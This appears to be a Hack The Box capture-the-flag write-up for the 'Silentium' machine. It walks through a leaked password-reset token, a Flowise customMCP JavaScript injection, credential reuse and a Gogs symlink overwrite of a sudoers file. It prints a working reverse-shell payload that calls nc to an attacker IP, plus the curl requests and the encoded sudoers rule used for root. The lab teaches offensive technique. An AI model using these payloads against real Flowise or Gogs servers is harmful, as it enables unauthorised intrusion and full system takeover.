Post

HTB Silentium Writeup

HTB Silentium Writeup

Overview

Silentium is a Linux machine that involves exploiting multiple vulnerabilities to gain full system compromise. The attack begins by discovering a staging virtual host and abusing a password reset vulnerability that exposes reset tokens. After resetting a user’s password, a vulnerable MCP endpoint in Flowise is leveraged to achieve remote code execution.

Once access is obtained, environment variables reveal additional credentials that provide SSH access as a valid user. During privilege escalation, an internally hosted Gogs instance is identified. By abusing a symlink vulnerability in Gogs, it becomes possible to overwrite a sudoers file and gain passwordless sudo access, ultimately leading to root compromise.


Reconnaissance

The first step was to perform a service and version scan against the target.

1
nmap -sV -sC 10.129.25.70

The scan identified the available services and provided a baseline for further enumeration.


Web Enumeration

Virtual Host Discovery

Since web applications often expose additional functionality through virtual hosts, virtual host fuzzing was performed against the target.

1
gobuster vhost -u http://silentium.htb -w /usr/share/wordlists/dirb/common.txt --append-domain

The scan revealed an additional virtual host.

1
staging.silentium.htb

The discovery of a staging environment was significant because development and staging instances frequently contain weaker security controls or unpatched functionality.

Password Reset Vulnerability

While reviewing the application’s functionality, a password reset issue was identified.

A request sent to the password reset endpoint exposed the reset token within the response.

1
POST /api/v1/account/forgot-password

Using the disclosed token, the password for the user account below was reset:

1
ben@silentium.htb

This provided access to authenticated functionality within the staging application.


Exploitation

Remote Code Execution via Custom MCP Endpoint

After obtaining authenticated access, a vulnerable MCP endpoint was identified that allowed arbitrary JavaScript execution through the mcpServerConfig parameter.

A malicious payload was created to execute a reverse shell.

1
mousepad payload.json
1
2
3
4
5
6
{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require('child_process');cp.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.15.40 4444 >/tmp/f');return 1;})()} )"
  }
}

A listener was started on the attacking machine.

1
nc -lvnp 4444

The payload was then submitted to the vulnerable endpoint.

1
2
3
4
curl -X POST http://staging.silentium.htb/api/v1/node-load-method/customMCP \
     -H "Authorization: Bearer hWp_8jB76zi0VtKSr2d9TfGK1fm6NuNPg1uA-8FsUJc" \
     -H "Content-Type: application/json" \
     -d @payload.json

Successful execution resulted in a reverse shell on the target.


Initial Access

Credential Discovery

After obtaining code execution, environment variables were reviewed in search of sensitive information.

1
env

The following credential was discovered.

1
SMTP_PASSWORD=r04D!!_R4ge

Since passwords are frequently reused across services, the credential was tested against SSH.

1
ssh ben@silentium.htb
1
Password: r04D!!_R4ge

The login was successful, providing a stable shell as the user ben.

The user flag could then be retrieved.

1
cat user.txt
1
[REDACTED]

Privilege Escalation

Discovering an Internal Gogs Instance

While enumerating the system, files related to Gogs were identified.

1
find /opt/gogs -type f 2>/dev/null | grep app.ini
1
/opt/gogs/gogs/custom/conf/app.ini

Local services were then inspected.

1
ss -lntp | grep -E '3001|8080'

A request confirmed that a service was listening locally on port 3001.

1
curl -I http://127.0.0.1:3001

Since the service was only accessible locally, SSH port forwarding was used.

1
ssh -L 3001:127.0.0.1:3001 ben@silentium.htb

After forwarding the port, the web interface became accessible locally.

1
http://127.0.0.1:3001

A new user and repository were created.

1
2
3
Username: test
Password: Password@123
Repository: newrepo

An API token was then generated from the Gogs interface.

1
7bd75e68f611b80063b87add50cd9125c0ec44cd

The repository was cloned locally.

1
git clone http://test:Password%40123@127.0.0.1:3001/test/newrepo.git
1
cd newrepo

A symbolic link targeting the sudoers configuration for the user ben was created.

1
ln -s /etc/sudoers.d/ben malicious_link

Git configuration was updated before committing the changes.

1
git config --global user.name "JINX"
1
git config --global user.email "jinx@htb.local"

The symlink was added, committed, and pushed.

1
git add malicious_link
1
git commit -m "Add symlink"
1
git push -u origin master

The repository contents were verified.

1
git ls-files -s

Using the generated API token, the repository API was abused to write arbitrary content through the symlink.

1
2
3
4
5
6
7
8
curl -X PUT \
  "http://127.0.0.1:3001/api/v1/repos/test/newrepo/contents/malicious_link" \
  -H "Authorization: token 7bd75e68f611b80063b87add50cd9125c0ec44cd" \
  -H "Content-Type: application/json" \
  -d '{
    "message":"Exploit",
    "content":"YmVuIEFMTD0oQUxMKSBOT1BBU1NXRDogQUxMCg=="
  }'

The Base64-encoded payload added the following rule to the sudoers configuration:

1
ben ALL=(ALL) NOPASSWD: ALL

This granted passwordless sudo access to the user ben.

Obtaining Root

Back on the target, sudo privileges were verified.

1
sudo -l
1
sudo id

A root shell was then obtained.

1
sudo -i

The root flag could finally be retrieved.

1
cat /root/root.txt
1
[REDACTED]

Conclusion

Silentium demonstrates how multiple seemingly unrelated weaknesses can be chained together for complete system compromise. The attack path involved discovering a staging environment, abusing a password reset vulnerability to gain authenticated access, exploiting a vulnerable MCP implementation for remote code execution, and leveraging exposed credentials to obtain SSH access.

Privilege escalation was achieved by identifying an internal Gogs instance and exploiting a symlink vulnerability to overwrite a sudoers configuration file, ultimately granting passwordless sudo access and full control of the system.

This post is licensed under CC BY 4.0 by the author.